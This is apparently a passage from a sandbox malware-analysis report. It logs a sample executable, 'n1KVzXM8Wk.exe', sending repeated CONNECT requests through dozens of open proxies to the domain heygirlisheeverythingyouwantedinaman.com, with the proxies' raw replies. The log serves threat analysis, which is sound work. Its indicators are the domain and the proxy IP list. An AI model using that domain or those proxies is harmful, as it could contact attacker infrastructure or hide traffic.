299	192.168.2.4	50666	202.159.35.73	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.434272051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	50317	111.225.152.100	8089	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.475491047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.415436983 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 09:45:23.248898983 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	50653	172.67.181.197	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.498157978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.585536003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	50638	72.210.252.137	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.502635956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	50668	104.23.126.8	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.528655052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.621964931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	50444	117.3.202.140	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.537235022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.680566072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.086070061 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	50641	72.210.208.101	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.548863888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	50650	192.252.208.67	14287	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.550684929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	50434	128.199.221.91	26789	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.557343006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.612370014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.615339041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.647391081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.646886110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.647001982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	50626	8.213.137.155	543	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.566693068 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:20.256472111 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:22.547832012 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	50620	27.65.116.243	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.576358080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	50623	14.103.24.20	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.582921982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.926924944 CET	309	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.19.2 Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.19.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	50667	98.170.57.231	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.598839998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	50670	174.77.111.196	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.611171961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	50671	98.178.72.21	10919	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.619083881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	50673	138.68.60.8	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.619476080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.903316975 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	50457	193.151.109.129	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.622338057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.740732908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.834506035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.258613110 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	50700	104.21.6.88	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.623928070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.711517096 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	50684	170.245.57.228	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.634567976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	50706	104.27.15.161	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.639920950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.727157116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	50682	24.249.199.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.640616894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	50686	184.178.172.13	15311	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.669843912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.4	50690	72.195.114.169	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.682720900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	50648	211.222.252.187	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.683149099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	50694	104.238.111.107	56225	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.683248997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.146835089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.739480019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	50183	128.199.252.22	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.698390007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.033211946 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	50485	103.153.63.211	8085	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.709917068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.740679979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.480005980 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	50696	89.168.121.175	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.722692966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.923995018 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/6.2-VCS Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1112 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 53 68 69 65 6c 64 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 6f 72 77 61 72 64 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 63 6f 6e 66 69 67 75 72 65 64 20 75 70 73 74 72 65 61 6d 2e 2e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 20 69 64 3d 22 73 79 73 6d 73 67 22 3e 54 68 65 20 73 79 73 74 65 6d 20 72 65 74 75 72 6e 65 64 3a 20 3c 69 3e 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 69 3e 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 31 39 20 47 4d 54 20 62 79 20 45 72 69 63 6f 6d 20 28 65 73 2d 70 72 6f 78 79 2d 61 75 74 68 29 3c 2f 70 3e 0a 3c 21 2d 2d 20 45 52 52 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_CANNOT_FORWARD><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><blockquote id="error"><p><b>Shield is unable to forward your request to the configured upstream..</b></p></blockquote><p id="sysmsg">The system returned: <i>Please try again later.</i></p><br></div><hr><div id="footer"><p>Generated Fri, 23 Feb 2024 08:45:19 GMT by Ericom (es-proxy-auth)</p>... ERR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	50704	188.164.193.178	9733	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.722841024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.256477118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	50711	34.95.231.228	42042	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.777625084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.368649960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.764889956 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	50720	184.185.2.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.782649040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	50826	104.27.37.131	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.814332962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
